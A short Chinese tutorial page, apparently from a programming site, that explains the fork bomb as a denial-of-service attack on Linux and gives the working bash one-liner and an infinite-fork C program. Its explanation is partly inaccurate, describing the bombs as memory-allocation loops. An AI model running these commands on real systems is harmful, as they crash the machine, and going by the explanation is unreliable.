C 与 BASH 叉弹?


Fork() 炸弹是一种针对基于 Linux 的系统的 DoS(拒绝服务)攻击。这调用 Fork() 系统无限次,这将填满程序的内存并有意损害系统。

Bash 脚本用于 fork 炸弹

:(){ :|: & };:

代码解释为:( ) 是函数定义,{ } 定义循环体。:|:& 创建一个内存位置,不允许其被释放。此程序不断多次调用自身。因此会不断进行无限次调用。

C Fork 炸弹也是相同的 DoS 类型,但可以在 C 编译器上运行。它会无限地调用内存分配,并使系统内存耗尽。

示例

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}

输出

Infinite calls

更新时间: 2019-08-08

225 次浏览

开启您的 职业生涯

参加课程,获得认证证书

开始
广告